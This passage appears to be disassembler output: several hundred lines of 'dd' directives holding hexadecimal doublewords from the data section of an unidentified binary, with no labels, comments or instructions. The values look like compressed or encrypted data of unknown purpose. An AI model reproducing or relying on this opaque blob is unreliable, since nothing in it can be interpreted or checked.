		dd 65EC1672h, 1D6A662Dh, 0CD2BD0Bh, 0B0D6A7ABh,	1C6EF82Ch
		dd 16133A8h, 113B7DDh, 0BEA2A95h, 0EDDF6ADFh, 63F4C9B6h
		dd 0D590B78Bh, 0CCA78635h, 3FA00024h, 14460FBAh, 85A196F9h
		dd 160110Ah, 82171830h,	5395E0F8h, 12D3A5C2h, 7FFA50h
		dd 0B17CCD8Dh, 826CCF1Ah, 4FFFF980h, 0ED948DD1h, 47983F8Fh
		dd 0A9BB4E99h, 549AE4BEh, 2074C9C0h, 0D55E6BE2h, 5E6AA2B0h
		dd 80C69B02h, 975EE11h,	5B124BDh, 29F6E96Ch, 75F9D540h
		dd 0BC97484Eh, 0EDC0E404h, 0EBBC5266h, 0F5CE2E27h, 0C9433A96h
		dd 5711F8A6h, 0AB5001Ah, 0E9CEAE81h, 2B647E32h,	5F0B197Ah
		dd 0B58968B0h, 9525DFFDh, 1207E7D4h, 0B9CD12C7h, 1CB7BC42h
		dd 4258C49Ah, 23919D31h, 90E4E25Ch, 0B1FD2F2h, 82189EE0h
		dd 8A0FE933h, 2EC55Fh, 0DFBB4B74h, 0FC121321h, 0F2AAB84Eh
		dd 505F009Fh, 1C69DBBFh, 29E09560h, 0AF8522E1h,	0EA17F004h
		dd 0ACF0B48Ah, 1997BC78h, 69F256EFh, 5F031168h,	60FF6A89h
		dd 0F58836Eh, 0FAE17EB4h, 0B67518D7h, 0D69200D4h, 65CF097Ah
		dd 980C01EEh, 0CE605F46h, 0FD254F45h, 0CC568003h, 0D66171h
		dd 66C13A4Fh, 0FDBF7BF2h, 78609901h, 615EE010h,	25DEA77Ah
		dd 0FA6190FCh, 6088E1B0h, 0E6091D41h, 12A50470h, 0CC4D70AEh
		dd 43890F3h, 0ECC107D5h, 22601E7Eh, 2571E4D8h, 0C5C9DE8Ah
		dd 9D0B10CBh, 162A4321h, 0C1AC53B3h, 0B825BBC4h, 759940B7h
		dd 0D6A8185Eh, 0F35B2D3h, 0C0C6C5F8h, 353DE431h, 213E0041h
		dd 0BA706DBCh, 7C7AD2A0h, 580D52B5h, 59306951h,	0C82B5FD3h
		dd 0CA82F94Bh, 10D7297Dh, 0FCFF8Fh, 0A95BF03Ah,	0DB51B2CCh
		dd 0C40E0901h, 2E818A0Ch, 7DC7C142h, 2E618D19h,	4E49C007h
		dd 0AFB84404h, 4A1CA34Bh, 0F2829BA8h, 1E03EEDh,	164AF1BDh
		dd 0A212AF3h, 2FE9F904h, 259EBCB8h, 4792A6C6h, 1AA39195h
		dd 5CF2E24Dh, 8251C49Eh, 4E8295CFh, 0B857B70Fh,	81CB900Bh
		dd 61A7FDBBh, 744B3B2Ch, 56544289h, 4903559Eh, 0DCD99D89h
		dd 400152B4h, 4D2DB927h, 4123D0Fh, 0C5EFBCDBh, 0AA28EE14h
		dd 7AE500D0h, 0AB380206h, 0A4063070h, 18E9E2Bh,	21552590h
		dd 0EDBDB6CCh, 0A978493Fh, 0CBC67F48h, 2C1075C8h, 0BC0099E1h
		dd 0F02986A5h, 5AC62D0h, 0B53153AEh, 5B874071h,	0BCF5F381h
		dd 0FC2AC716h, 1FC86FBFh, 1D9F4B0Ah, 10DF8054h,	91D22F1h
		dd 4A20109Dh, 16FCA7F0h, 9BC02B1Ch, 79B580F3h, 2DE20B64h
		dd 6B70F8B4h, 0D16D5B95h, 0BDF4C895h, 0D964D717h, 4E30558Dh
		dd 7D2FF34Dh, 906A2E24h, 25901D28h, 0BD563229h,	0D4EC5652h
		dd 0B52FAB00h, 6D95290Dh, 0E78D9E08h, 0F85C209h, 8C06E55h
		dd 205B529h, 5B02B074h,	8F352B1h, 0F5121A91h, 0B80EDA8h
		dd 0F8D4A4FBh, 0C03F4600h, 92B06C45h, 0D736123Ah, 88CFE2B7h
		dd 17467E74h, 0A0321371h, 9DF0442h, 0DF1ABE21h,	0EA4D75E1h
		dd 0EC601944h, 9412F54Ch, 0C605830h, 4A618D29h,	4F55F728h
		dd 612DA3C2h, 0ED39E180h, 98A9D380h, 14977F96h,	169C5BC4h
		dd 0BCA0ADBAh, 204704F1h, 0B8DB537Fh, 2888A2C4h, 27550BD9h
		dd 3F71495Ch, 0F5A00414h, 0B7600B15h, 3EF480B8h, 0F0E787Eh
		dd 95308C4Ah, 973B2CDBh, 0DEFE980Ah, 0ABBBB700h, 8BB57315h
		dd 0E1802DFBh, 180EF37h, 546BA3DEh, 0FAD96227h,	19D72CC5h
		dd 0A73A937Bh, 512AB0E2h, 60560523h, 0D5A5B533h, 0B385BF3Eh
		dd 7F61A34Bh, 0B0ADE435h, 166DF6Dh, 0DCF81A30h,	20317E29h
		dd 2F4A3DD4h, 0F6D23EF2h, 96F4A041h, 0F5E1B77Ch, 3CE86151h
		dd 0B7600447h, 0AE1F61D3h, 9B9093E0h, 0D2CE86FCh, 4A14953Ah
		dd 50D958C7h, 212F393Dh, 3B598383h, 1A43ECCh, 5CFA729Ch
		dd 0E4F9DB61h, 0D07E08Bh, 5B8AB353h, 44281C1Fh,	5D761295h
		dd 0C283C337h, 0E81F9ECAh, 258A4109h, 9E7085A4h, 4A3CF525h
		dd 2A6F7FE9h, 69E27F47h, 0D880896Eh, 169ABE69h,	446AFF89h
		dd 72D0604Fh, 880E3C67h, 1701D3E9h, 1FE6FAEh, 9D0355E3h
		dd 0E72A3465h, 38C84F47h, 9CD00C8h, 4DD2758h, 8B0090C0h
		dd 4CD3E35Fh, 97F22F12h, 7B74B98h, 0E19D197h, 49E40C62h
		dd 0C1B4E0C6h, 11ADF55Ah, 747CBF80h, 0BA97215Fh, 0D41BD65Ch
		dd 23CD9B4Fh, 0FEDAF02Fh, 7B49D191h, 794E5084h,	22C5F94Bh
		dd 276EEEh, 0BFD7D903h,	2D256636h, 7D10965Ah, 26589C98h
		dd 0FC0071DCh, 0AA54B0DEh, 9B9650CDh, 72C47829h, 0B66D5201h
		dd 0AA0DF537h, 32D6093Eh, 18001DECh, 66D839C8h,	2621D6ABh
		dd 89F37364h, 5B7AA73Ah, 0D18B5B97h, 8E8F44Ch, 0F73F88h
		dd 2ECCE5EAh, 26BF5BFCh, 566CF624h, 3C42680Fh, 6B05C93h
		dd 5D583BBDh, 0AC830F93h, 0C723C384h, 2D21F929h, 8D5EE22Ah
		dd 90C02B89h, 25BF7B66h, 29E45084h, 0B2D34900h,	19A4EEDEh
		dd 0E6C8016Fh, 1D73FD89h, 96B26BCEh, 0A878902Dh, 4D97A39Ah
		dd 60166449h, 0E2F90F93h, 0D98A2561h, 8D70215Ch, 3C1641F1h
		dd 24C1D755h, 0C10717E5h, 2B6142C0h, 48625EDAh,	0E9031931h
		dd 7ABB8550h, 5FD500FAh, 197A46CDh, 0A36E0575h,	0F8850F7Bh
		dd 24D88124h, 0EE247A72h, 0F3DA4A8Fh, 0F65EBA5Eh, 2318B001h
		dd 0F4125BDh, 310DA122h, 510AE00Bh, 0D9B78830h,	7BC8614Fh
		dd 0AB53078Fh, 0D3A6418Dh, 21AA0E5Ch, 0AA175AD1h, 0D94827AAh
		dd 0DB594F5Eh, 0D046DBD2h, 1412D0D2h, 7FADB793h, 0AACD2252h
		dd 54847E55h, 0ABC62FFh, 84866529h, 92D9BD03h, 0CD555B96h
		dd 6017643Dh, 5076E705h, 4421B6E2h, 0B5E4FE14h,	0E0B94E5Eh
		dd 770054ECh, 0C667EC98h, 4B1C28E3h, 50D48CA7h,	12B9BB3Dh
		dd 0D0A12087h, 20F11C7Ah, 79B5010Bh, 50825C1Fh,	2840A99Dh
		dd 27E30481h, 0B91ABBF5h, 6AEBD3B7h, 50C81458h,	9D2B817Bh
		dd 0F66F2871h, 69E9F4F7h, 9B372C80h, 71011B1Fh,	13A7796h
		dd 0D5E6FD95h, 5BE9F14Dh, 4FCF0088h, 2DB8B21Dh,	54AC0B4Bh
		dd 46D744Bh, 0B922D59Eh, 0F1A997F4h, 230063A8h,	80BF86E8h
		dd 9719781Ah, 99B7F00Bh, 179B6A0Eh, 0E3D27EF8h,	4DC45E0Fh
		dd 5AAADDACh, 0AAD660A8h, 6EAA3C75h, 7A7E000Ah,	8979DBE1h
		dd 1952BF9Dh, 0E46F56AAh, 0E9229EC0h, 0A0F8813h, 14F6F300h
		dd 0C7CDC629h, 0A34707BAh, 91128D62h, 89FC4420h, 7B21F5D2h
		dd 0CB8183EDh, 0FE95E633h, 3BE7FA9Ch, 6B279A73h, 0F52A5E8h
		dd 0CAEB864Ah, 0E75F25C6h, 2D9D0962h, 25F45274h, 2E5C59Bh
		dd 0A24B2B11h, 0FB8B1656h, 0B9A330FBh, 6A2E2207h, 0FC60AE42h
		dd 2F6DA48h, 73E6126Dh,	0E8DF5ADCh, 259D33CDh, 0C7790C75h
		dd 75028962h, 4DA55465h, 1EEC4146h, 0D6EDE87Bh,	0BFCA6301h
		dd 68F7D9BBh, 95F375ADh
		dd 95A16AD8h, 2683915Fh, 67E9F244h, 5DF5B792h, 0B478A8E8h
		dd 0B8281259h, 0FB42E2BDh, 0AB9C2Bh, 133577C7h,	660473B0h
		dd 826B61CCh, 4ED402BCh, 0E2235D12h, 0F600BE0h,	0C589h
		dd 95725916h, 0B600D1C5h, 58401E43h, 981D6024h,	94D94ECDh
		dd 0B0DFACE5h, 1F69E3BFh, 65E9543Fh, 0F9040C5Ch, 6EBFC18Bh
		dd 80D10113h, 0D98B9AEBh, 0FF92F67Ch, 65E9A20h,	0B016052Eh
		dd 0CC8DAF1Ch, 0D01ED930h, 0F180DB95h, 0CAE78082h, 0AA5B4A5Fh
		dd 6CF7B930h, 3FF02523h, 0EDC083CAh, 492FC7E7h,	0DEB5746Ah
		dd 91DC4017h, 952DBAF8h, 9D41F05Eh, 58061845h, 0D2BF660Ch
		dd 323E9280h, 3925D65Ah, 5C0FF90h, 0E0594DB7h, 1205DE8Bh
		dd 0A59F0E0Bh, 47F2FE50h, 83ADD063h, 3900E9B7h,	362AFC8Fh
		dd 4ABA1DC7h, 2A7AB565h, 2A77ABEh, 0BACB7E63h, 7DB2FF03h
		dd 0AD846B55h, 0C014DBAFh, 0E7EC1869h, 0B2223CF7h, 25A305A8h
		dd 0E0C67C3Ch, 51AD9A95h, 0EFFF9F92h, 0A200B937h, 38D97A06h
		dd 95E9E6C8h, 251C15DDh, 59695F54h, 406044B5h, 11C474BBh
		dd 26A277Fh, 0DB70F2DBh, 0F6370921h, 0B9D8C040h, 5650492Dh
		dd 2A066041h, 0E3090338h, 44579597h, 3C5B0070h,	566E7EBCh
		dd 8F13C45Fh, 0DD1559D1h, 8B0F1301h, 4A95488Ch,	7A88E68Dh
		dd 5A488887h, 0B86425h,	835EAE7h, 580D03E2h, 79822B02h
		dd 0D77CF68Bh, 3D0EED18h, 9AE82700h, 9D016D7Fh,	6E5F4F55h
		dd 49B609F9h, 55432989h, 3D0F9434h, 60C8CD01h, 5255B9FCh
		dd 0F7AA0E06h, 5B60B36Fh, 0D5BB5390h, 0E215CDE3h, 0EDB785C0h
		dd 70E61AD2h, 49124EE0h, 28CB8012h, 5200B1E6h, 0FD3440BBh
		dd 1FB85B7Ch, 4E25C97Fh, 0C4B8CD60h, 48DF601Ah,	0ED4D0227h
		dd 0FA8BDD88h, 0D669BE5Ch, 522C4026h, 4D01F3D7h, 0AD5B24E1h
		dd 81C8F53Eh, 457A09DBh, 0CC702C65h, 0E1A3509Fh, 0C1B4C104h
		dd 71DE6E2Dh, 8806A080h, 0DF2FBD2Ch, 0F7144B3h,	0E4B11E02h
		dd 0BEAAC781h, 0CB612E2Bh, 0FE080115h, 21B52980h, 0BF82346Dh
		dd 5571E4DFh, 0EB82B951h, 5C0BA273h, 5AF091BFh,	75FDEEF1h
		dd 5CF5C442h, 853102C1h, 0EEDF13D1h, 0DEC14CC1h, 0E221B912h
		dd 124E48C1h, 0ABE04305h, 35851329h, 0EA98942Eh, 0B48D4B97h
		dd 8BB32B20h, 921D4A25h, 4E8AD57Bh, 20E1132h, 3518A3Ch
		dd 0EC51400Ah, 293D04F0h, 0F2D0FC1Dh, 0DF010BFFh, 1C1E5D17h
		dd 33489B04h, 56AEEB01h, 0DD3E056Fh, 0F631AE06h, 702E198Eh
		dd 228547F9h, 0F317A800h, 594C80Dh, 0D88D0020h,	59B6B75Ah
		dd 5F4B6160h, 2210D392h, 387542E9h, 98ED8DCh, 7625B61Bh
		dd 382D971h, 5719899Dh,	4C227F31h, 1B4A6191h, 80A092ACh
		dd 0D09EC2C7h, 0C16C681Dh, 8B12A021h, 0DD8C71ABh, 485204DAh
		dd 22188CE2h, 18556B6Ah, 9EA3997h, 752475D9h, 0E5D768B9h
		dd 25550AF2h, 31FC055Bh, 185DEE95h, 79C4E5h, 22137FE0h
		dd 0C66B85F6h, 5397AF2Fh, 631A534h, 0C4280D80h,	0E9DCAD4Bh
		dd 0C171342Ah, 722F8D54h, 0BFFD4E52h, 0FE53D54Ah, 64E006E6h
		dd 3A02BAB0h, 4080A58Eh, 0E5FC55EAh, 5C347DC2h,	16915555h
		dd 3108CA82h, 1C9EB75Dh, 3BEC47Dh, 6934AE49h, 9E2EDFB1h
		dd 0E9748327h, 0D370E0A8h, 0CF68254Bh, 0B57EC156h, 14706553h
		dd 6A0CC04Eh, 3BE73049h, 0AC234A24h, 85E60613h,	0A367EA16h
		dd 18B3C248h, 0DC485C5Fh, 830520C1h, 0CC2EA68Fh, 80022F8h
		dd 4FEE4B19h, 4411CC2h,	5482FC27h, 0A2B8B83Ch, 8950206Fh
		dd 1DD5F1B5h, 29E74B83h, 1F87D700h, 8FC78857h, 4D7FBA0Dh
		dd 0A23A4635h, 0F9BD365h, 334F9C80h, 1D5A019Dh,	0A6D26EA8h
		dd 0C8D8A123h, 4BB7AB70h, 1CB38AD3h, 5725043Bh,	2C078D37h
		dd 0E45B8EE3h, 39B70048h, 48A7B6DDh, 0F8982E1Fh, 25324920h
		dd 0C5C55F5Bh, 0DE891510h, 0D046C171h, 24549393h, 3BFA2DDCh
		dd 0F7816001h, 754E4BADh, 0FFA2162Eh, 85ACB234h, 0E07FA64Ah
		dd 759A207Ch, 98AE0947h, 1FF05B2Dh, 9BF0F40h, 7EA7C8F2h
		dd 4A458C72h, 27AF154Ch, 0CBCE9857h, 906B9EBEh,	128D0AF4h
		dd 0EA16FD2Ah, 0D54AF3B7h, 0E822AD58h, 0E27C4B18h, 6EFC0055h
		dd 0BE7F5584h, 69485DA6h, 0BF72E45Fh, 84FA560Ch, 4EC2180Ch
		dd 98E6B561h, 0BF0EDA10h, 1EF61254h, 3B20AA2Eh,	13BB2404h
		dd 85F2A044h, 0E056B66Eh, 9D58FB5Fh, 0BD20E5F8h, 32680413h
		dd 0E850DC86h, 1D0580ABh, 181AFE0h, 98261C99h, 0E4CD3E35h
		dd 0CC4A1014h, 85817B87h, 9B2A50C3h, 51BF80A7h,	9E17FFEh
		dd 0A4A2C0E6h, 0BEBDDD04h, 0CB819490h, 65FA1280h, 2A6AA327h
		dd 0F275E29h, 0F8E3998Fh, 0BA57242Eh, 0E7C0589Bh, 6E09FB5Eh
		dd 7645EF5Dh, 1D6F1A0h,	950B5080h, 0FEA7385Ch, 0EF5C6B2Fh
		dd 299E00DEh, 811445F8h, 22124DEBh, 53E20AB8h, 0BCD5A95Bh
		dd 127598B7h, 0AE1605BDh, 9D83376h, 73187586h, 1D596573h
		dd 6500F518h, 33D67D9Ch, 4AB0AD7h, 4585011Ah, 0C535AE0Fh
		dd 19506AEBh, 2D480996h, 20369D2Eh, 66B9146h, 3CA97F0Dh
		dd 539E98D7h, 6CAFBD59h, 679B88B3h, 9758190Eh, 0A4D840B0h
		dd 975EBFD3h, 0CCA84446h, 5B5B5360h, 0E4B98353h, 0D023CB8h
		dd 6079F50Bh, 59105F03h, 27959533h, 9DD36143h, 0BBD902F9h
		dd 0C445034h, 4385355h,	0F8562FC3h, 41A2039h, 22477168h
		dd 4320D51Fh, 3D448ECCh, 0C03CDBD5h, 0D913ACDDh, 5EE10587h
		dd 0EEF89E4Dh, 61B5A260h, 68399715h, 3331608Bh,	0E63A9081h
		dd 0FDB31E40h, 22E922B1h, 0F2B5B63Ah, 20A93114h, 255A69F6h
		dd 0C200BBB6h, 0FEF3F26Eh, 299861A9h, 712E6925h, 76F9EB0Fh
		dd 0EAD44E01h, 282B65A4h, 3D953A36h, 6D11802Dh,	0CC29EAB3h
		dd 15A65757h, 0A83E195h, 0C21E95Bh, 2065BD04h, 0CF6BAA12h
		dd 0A3014E2h, 859D1389h, 0E833A901h, 0F7050BC5h, 5E8E31B0h
		dd 2B865110h, 0E9FF4A28h, 38307A2Fh, 5DED13D1h,	0B7C4B4FCh
		dd 10178B01h, 0B64E03CBh, 9AD92F31h, 0B86F6364h, 97053A86h
		dd 8D894218h, 0AD13754Bh, 8A860701h, 332B5C7Eh,	0EEB260ACh
		dd 34058661h, 0CEB5618Ch, 58C89B6Fh, 920066E1h,	0F93BCC40h
		dd 4AB685E3h, 3125AF50h, 0DB2F73F1h, 0A5DC81DCh, 0DDF65E66h
		dd 5D4BCB6Eh, 0F3796EE1h, 8C1AACh, 48E619CDh, 8A118594h
		dd 0A964029Fh, 0F86E5522h, 0B379A690h, 732C5125h, 181459B2h
		dd 137395B4h, 41BF385Ah, 1B0FEE8h, 0F05D12FAh, 0F080C2E4h
		dd 4809BFF3h, 57170384h, 15911735h, 87678684h, 0E92CF531h
		dd 883981C1h, 8CC0AA69h, 0F79F0250h, 4CCCE34Ah,	73B93DC3h
		dd 24F77BBAh, 96D4E85Bh, 818987ACh, 0EADD6EB2h,	256F567Ch
		dd 5DC264EDh, 0C2685CEFh, 8130F8B7h, 5E617F3h, 0A93316BDh
		dd 9D8EBC22h, 4545351h,	717E6914h, 2DCDBBE3h, 5A29E720h
		dd 0D65BE20Ch, 6912EB6Bh, 1557E1E3h, 87D204AEh,	8B61FE0Dh
		dd 8B117478h, 5EE62BFBh, 46A8515Dh, 0B33F6F00h,	72E2BB3Ch
		dd 97025643h, 66913F7Dh, 0AAA22A16h, 98EBF765h,	1940650Ch
		dd 0E9A7CF53h, 0E2325B0Eh, 5C2E8B63h, 0B266F608h, 253516Eh
		dd 0BCC2BF50h, 83AB4CFAh, 0C24DAD7Fh, 0B18FE76Ah, 0AD6CAB4Dh
		dd 0EA96FA80h, 9000691Eh, 0A3A5037Ah, 92CFD78h,	61F2E4E0h
		dd 0E108E983h, 2B5B33C1h, 16C87D9Ah, 0C6C21C0h,	24F29403h
		dd 8AC652A3h, 95FB724Ah, 7DCFB8CEh, 4B6FCE95h, 29598AF8h
		dd 0AD97DE5Ch, 4FADB552h, 138C16ACh, 0CEA0B4Ch,	0C649A144h
		dd 2F48ABEh, 3C481EBBh
		dd 0ED81E29Bh, 6B83BDBFh, 38AAB716h, 0F3418004h, 53F2F726h
		dd 5CF0DEC0h, 8B257F7Eh, 0C26E4DC1h, 685C7827h,	0E61BEFC0h
		dd 0C704B3Eh, 0F5CE535Ah, 0AA6D4Ah, 0DE0CBB98h,	859E0684h
		dd 7D11F642h, 0C016C466h, 34FFA0F5h, 5140824Eh,	30A75E5Ch
		dd 1B24BFF3h, 1A44543Ah, 693E9079h, 0B75684D6h,	21AE5F04h
		dd 2F3D3Ah, 0EA8BB90h, 50466798h, 4DC6FF7h, 0EED2396h
		dd 0F9052E92h, 0B66A17ADh, 99C0F04Dh, 88D04ECDh, 0C65F1BFFh
		dd 22805AFCh, 82DA6C67h, 0D2249200h, 0EE0366Dh,	8E7B976Ah
		dd 5B7E7178h, 6425B2C9h, 0DCBC35CEh, 0AB14CD84h, 15C81F9Bh
		dd 5C9729C2h, 8233658Eh, 772E2A2Bh, 0DCE068B6h,	7B6261FCh
		dd 5C2CE5ACh, 3A697178h, 3F05D77h, 58495130h, 70771CDh
		dd 8277BBE3h, 0FD54026Ah, 0BA133741h, 79A4CF4h,	905846CBh
		dd 622A9160h, 9CB7D403h, 0DE506125h, 0D2BB6061h, 292E155Ch
		dd 58023E90h, 557E3B63h, 1C640FCDh, 4054B660h, 9C0A7E00h
		dd 0E920B538h, 811C97EDh, 0BC69C920h, 2F00DC46h, 3DE8408Eh
		dd 0B5EDD780h, 0D65AF253h, 0F25DC993h, 0B6390070h, 0BD295E1Bh
		dd 36911D4Dh, 121FB508h, 1EF250h, 1EFE8E05h, 9A131155h
		dd 0E1F3B708h, 5B43CE72h, 0AECD1321h, 0CB829235h, 551362B5h
		dd 0BA94309Ch, 4B8600D4h, 7E4880DDh, 4C046742h,	0DEBF0F66h
		dd 0FCC2EDBAh, 5B6200D9h, 0ECE5CA33h, 6A2B0922h, 0FD5826FFh
		dd 35C700DEh, 4E80B363h, 7B0BBFF4h, 252EECBh, 7C1529C9h
		dd 885AF42Ch, 0FDA206ACh, 2208185Dh, 0FEB04A27h, 78381220h
		dd 0A25300B8h, 7C883645h, 52733922h, 0C8B7BF0Eh, 2D8F825Bh
		dd 75E2FF90h, 0E481B2F1h, 0C6C78071h, 69AB5D2Eh, 0E0DF92F3h
		dd 0CF0481A6h, 0D1ADBB3h, 0E94A0F35h, 2D275851h, 41F8F98Dh
		dd 0C5901FEAh, 0AF2EFBh, 85895276h, 3ACB03ADh, 0FA1AD75Fh
		dd 4126C156h, 95605225h, 2D06BE8Fh, 8A3C1011h, 0E9277DFAh
		dd 957FE671h, 4755C080h, 0DE4A8A49h, 0AD1055E2h, 8501C12Dh
		dd 8C2B30D9h, 0E08A0C4Fh, 0A044E916h, 4B4FBF08h, 51788C41h
		dd 606CA3BEh, 0CB0C6959h, 23158059h, 0D4FE2D4Eh, 14D56954h
		dd 4AED5B15h, 3E61956Dh, 81CCDE25h, 0D5EBB413h,	4AC66FFAh
		dd 69F21BBh, 8086689Dh,	18DAE269h, 0B5AC187h, 2E280DBDh
		dd 0DAB9A371h, 0D82D3825h, 0B202E5B8h, 8551B4D0h, 0EB95CCCh
		dd 6423E781h, 66BB5C76h, 7738EFC0h, 57179295h, 2D210982h
		dd 80AE7957h, 4A84758Fh, 0C701A872h, 0BD9A766Fh, 0F06F476Dh
		dd 0DC098A69h, 770A8F0Fh, 3495C898h, 61F9F983h,	6B663D2Eh
		dd 48E63C6h, 0E8CF38C7h, 0F8544013h, 721CEEC6h,	92DA008Dh
		dd 8435BEACh, 160CE98Ah, 3ADF25C9h, 0B7BB05CFh,	0AB880D5Fh
		dd 0BB00107Bh, 0B3539721h, 12FC870h, 312DE856h,	0B2ED5A95h
		dd 0E78082DFh, 0C5B05539h, 0EFFCDBDh, 0E0BCB693h, 9C49D56h
		dd 0C0193F55h, 18123DDEh, 287AFEh, 7B43298Bh, 0B7AAD48Eh
		dd 3859FC89h, 7BFB7245h, 0A99E00C1h, 0A0B61C09h, 253B91E6h
		dd 70787FF3h, 628D00B2h, 6B8C89C7h, 73B7794Fh, 29918856h
		dd 49259020h, 41F35923h, 412048BBh, 54F99DD4h, 3CC4AAA1h
		dd 25A23BACh, 8018911Fh, 0B230CEB7h, 8160004Dh,	21BA01E0h
		dd 0B5768B0Fh, 56226A95h, 15055135h, 628013F8h,	28DA1239h
		dd 2DDAD01h, 0B1DC605Dh, 0EB44292Eh, 0CFDEAAA4h, 71D07580h
		dd 0EA1732BDh, 41E03552h, 0B20B5AF5h, 0F4864695h, 8B8B32BFh
		dd 21C84012h, 81329715h, 13D4DADCh, 30CAD171h, 0B944CBB9h
		dd 0C9F0CD25h, 1408637Ah, 4DC9A88h, 0A8084BB3h,	0CEA8BBDDh
		dd 4993F3F5h, 47B0C479h, 92084087h, 5E80E761h, 5E02C46Ah
		dd 2F118D31h, 19652907h, 0BBF540ABh, 729432A0h,	6D263D94h
		dd 9DC272ADh, 0D0780C7Bh, 0E19D2501h, 64683640h, 1E5B0CF6h
		dd 0C3CF8AB8h, 9EFAA4C3h, 0B4545AD0h, 0CC126571h, 93A033AEh
		dd 1352169Bh, 8FD8DB1Eh, 8DE48420h, 47A68DFEh, 0BF95F4D5h
		dd 18C82ADAh, 3AF23FC0h, 0B6E45A16h, 3119B2F9h,	7116F0A2h
		dd 0E9990B04h, 10DE0153h, 7CC0E4CFh, 8C0F85BEh,	2593E597h
		dd 0F2006ED3h, 493370C4h, 931A97AFh, 0B3626D56h, 7CE55FCh
		dd 607786A2h, 0B516F1BCh, 1679F653h, 482084C3h,	5D972878h
		dd 89FE7598h, 0C3E6064Bh, 0E84C91E0h, 0A82AB731h, 0F26F2879h
		dd 6452C4B4h, 574C4EB8h, 9267F85Fh, 0C15321FBh,	9014091Ch
		dd 766FFBh, 0A0C26B21h,	5EA1DDB2h, 49EE8873h, 1FD49900h
		dd 1369B3DAh, 68150364h, 814EDEA9h, 0CF909073h,	0D0255607h
		dd 59D98A7Eh, 0BD2B82EDh, 50021AC1h, 0D39FD757h, 0A69F1491h
		dd 998DE1A8h, 0A702E20h, 5E6FEF80h, 20006E61h, 2EA1253Ah
		dd 6DDAD056h, 523C6037h, 8C004B47h, 31EEE72Dh, 9C0651BDh
		dd 707AAFC1h, 16D5D6CEh, 38E23AACh, 0B2C38120h,	54750D80h
		dd 2F1448E9h, 7B00ED6Fh, 0FA0A75Eh, 1BD20882h, 8AE488FAh
		dd 259AFA4Bh, 28C18F8h,	6207D286h, 0CCDDF549h, 0D1B51213h
		dd 0B143F826h, 0DF08B885h, 0A99AD4A5h, 0B1745F1Eh, 40C601DCh
		dd 1D30FF70h, 0D3CC787Dh, 0BB0304BAh, 4029AB85h, 77B04536h
		dd 0EF0EA66Fh, 2537B8CCh, 84EC783Ch, 60460709h,	0BA60825Ch
		dd 5DC48CAh, 418D8B01h,	3428AB31h, 0A1BD2589h, 2B5B3309h
		dd 8D181B59h, 0AFC6F00h, 2129C9C2h, 99D2623h, 17BF4326h
		dd 351B91B9h, 0B8342989h, 6A9200C0h, 9199ACE3h,	8191880Fh
		dd 0FDC98190h, 9D41215Dh, 2B2E33F9h, 9AE9813Bh,	2AC4F8C6h
		dd 9BFE83Ah, 41736006h,	5B9B3972h, 314D1CD8h, 5DB25384h
		dd 585F0217h, 93097F8h,	6E16D7BEh, 350432B3h, 0D8AA61C8h
		dd 0FA880BC5h, 0D0100088h, 6729C7C2h, 0EA4B463Dh, 7BBF2D84h
		dd 4563048Ch, 7CADF8ADh, 0B456BED7h, 1AB2C4A6h,	4C27330h
		dd 469A69D8h, 4D39B8C9h, 0E16BC95h, 0EF93AC5Dh,	891DA045h
		dd 7B20F9CAh, 9601E26Eh, 0FF337E1Bh, 9E43289Dh,	1F7DC43h
		dd 2747F0C7h, 0A3F00052h, 0A5382C95h, 6DB5A1B7h, 601864E3h
		dd 4F05BDC2h, 1F8530BFh, 0F995DBEEh, 7DE1697Ah,	38B76A1Eh
		dd 8BB5701h, 6A49EF0Ch,	20EDC617h, 0E875E95Eh, 0ED9C09B5h
		dd 35D51D01h, 801891A8h, 0C65C1114h, 0BC7E92DAh, 0A73D2F05h
		dd 823C938Bh, 0E9E1F7D1h, 4235D9CBh, 0E434B67Fh, 420DB3BAh
		dd 96A84A79h, 85540C2Fh, 0CD1203EBh, 2D0D7B0Eh,	0EB5915D9h
		dd 0A31054CBh, 0D7B3789Eh, 50F8FFB0h, 890DE7B7h, 0B388DA8Bh
		dd 0DE832480h, 0C7E66E00h, 21720D4Dh, 82F8568Ah, 6912313Bh
		dd 0C415B91Bh, 0ECBD8Bh, 0A858B9F5h, 4CB97E6Dh,	885A7E6Ch
		dd 290088FFh, 1741ECB2h, 4849222h, 46CE7579h, 0C7D9EA25h
		dd 8715E5D8h, 0AD1B72A7h, 26DEEB0Fh, 2540E21Ch,	1DB509FAh
		dd 0B977DD2Bh, 0DFFC9574h, 55FA8055h, 0B167FD15h, 1AC0B09Fh
		dd 19DC5EB7h, 150C1AE4h, 25BDC6D8h, 347F33C5h, 4B6D9DEFh
		dd 55C9FE4Eh, 792B85BFh, 46E9B044h, 6E4AC2B8h, 0B0960CBFh
		dd 4819529Ch, 17CC251Ch, 0A990C10Dh, 480C7D20h,	110669BAh
		dd 49EA81F0h, 142160EDh, 3345FBA0h, 8199FF8Bh, 0D67857CAh
		dd 9B7F5171h, 19884AA3h, 0C22B3358h, 0D658F01Ah, 4D3809C0h
		dd 6B27FE5Ah, 3C503F00h, 813BD003h, 1945323Ah, 70D65A84h
		dd 0C303B72Dh, 4C72D9E9h, 89C88B04h, 1DD07185h,	0CC3C4003h
		dd 0C5C2064Fh, 0FA3C2191h, 218512C4h, 5BF80506h, 30C1CC7h
		dd 0A31520BCh, 2008DB26h
		dd 645A2933h, 127037B2h, 0E204C483h, 8B5117A8h,	81100401h
		dd 1446B0A9h, 335909B5h, 0A002C3C0h, 62662AA1h,	2EC62444h
		dd 808AB585h, 0A7D26847h, 0FF65D49Ah, 2BAD0816h, 7CA6EA10h
		dd 6812D048h, 19138208h, 8DD309D1h, 0A2799CC4h,	8E4EB7D5h
		dd 0E1417E57h, 0AD01800Fh, 2C287E1Bh, 0F0C42B56h, 6C136AB5h
		dd 8AE3898Fh, 72EE0475h, 857F921Bh, 90C8B4B1h, 0ED956C70h
		dd 0E1EBE059h, 0D15E9F1Ah, 0FD931CFDh, 1C76F8EEh, 6E607FB9h
		dd 0C1B54290h, 0B613448h, 2BA2954Fh, 2D729D4Ah,	162AA860h
		dd 480C98Bh, 0B001951Ch, 234BF540h, 0ED5B6BE2h,	0C08BC052h
		dd 85F4EBh, 94C2516Dh, 393BE390h, 0AF509A00h, 0A52A8B6Eh
		dd 8CD73E4Ah, 0E5B6FC00h, 8501C2D9h, 1B19CA00h,	409D8261h
		dd 238307DBh, 40EABCC0h, 81C9D496h, 60325500h, 68D8B297h
		dd 0FF08CC67h, 7900AF21h, 50B30255h, 0BC891Fh, 60DB474Ah
